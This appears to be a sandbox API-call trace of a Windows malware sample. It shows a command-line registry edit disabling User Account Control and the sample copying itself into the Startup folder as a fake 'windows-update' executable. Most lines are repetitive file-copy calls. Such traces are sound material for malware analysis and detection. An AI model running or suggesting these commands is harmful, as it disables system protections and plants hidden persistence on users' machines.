	[0050.909] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.034530127" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.034530127")) returned 1
	[0050.924] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0xc000150410, nSize=0x64 | out: lpBuffer="C:\\WINDOWS") returned 0xa
	[0050.924] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CreateProcessW") returned 0x7ffce913ba30
	[0050.924] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xc0000c9dd8*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc0000c9db0 | out: lpCommandLine="C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", lpProcessInformation=0xc0000c9db0*(hProcess=0x134, hThread=0x12c, dwProcessId=0x116c, dwThreadId=0x1180)) returned 1
	[0051.344] VirtualAlloc (lpAddress=0xc000042000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000042000
	[0051.345] VirtualAlloc (lpAddress=0xc000044000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000044000
	[0051.345] VirtualAlloc (lpAddress=0xc000046000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000046000
	[0051.346] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\windows-update-CVE-wFW.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9b48 | out: lpFileInformation=0xc0000c9b48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0051.347] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\windows-update-CVE-wFW.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0051.347] VirtualAlloc (lpAddress=0xc000048000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000048000
	[0051.352] VirtualAlloc (lpAddress=0xc00004a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004a000
	[0051.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\%ALLUSERSPROFILE%microsoftwindowsstart menuprogramsstartupwindows-update-cve-wfw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\%allusersprofile%microsoftwindowsstart menuprogramsstartupwindows-update-cve-wfw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x13c
	[0051.354] GetConsoleMode (in: hConsoleHandle=0x13c, lpMode=0xc0000c9cac | out: lpMode=0xc0000c9cac) returned 0
	[0051.354] GetFileType (hFile=0x13c) returned 0x1
	[0051.354] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\windows-update-CVE-wFW.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0051.588] SetEvent (hEvent=0x120) returned 1
	[0051.588] GetConsoleMode (in: hConsoleHandle=0x138, lpMode=0xc0000c9cac | out: lpMode=0xc0000c9cac) returned 0
	[0051.588] GetFileType (hFile=0x138) returned 0x1
	[0051.588] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x161c4850000
	[0051.589] VirtualAlloc (lpAddress=0xc00004c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004c000
	[0051.589] GetProcAddress (hModule=0x7ffce9120000, lpProcName="ReadFile") returned 0x7ffce9142480
	[0051.589] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.590] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.592] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.592] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.592] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.593] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.593] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.593] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.594] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.594] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.595] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.595] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.595] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.595] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.596] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.596] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.597] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.597] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.598] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.599] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.599] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.599] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.600] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.600] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.601] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.601] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.601] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.601] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.602] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.602] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.603] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.603] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.603] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.604] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.605] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.606] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.606] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.606] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.607] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.607] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.608] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.608] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.609] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.609] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.609] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.610] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.610] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.610] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.611] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.612] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.614] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.614] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.614] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.615] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.615] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.616] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.616] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.616] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.617] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.617] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.618] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.618] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.619] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.619] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0051.620] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0051.689] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0053.597] SetEvent (hEvent=0x120) returned 1
	[0053.597] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0053.598] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0053.599] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0053.599] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0053.600] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0053.600] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0053.601] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0053.601] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0053.602] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0053.602] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
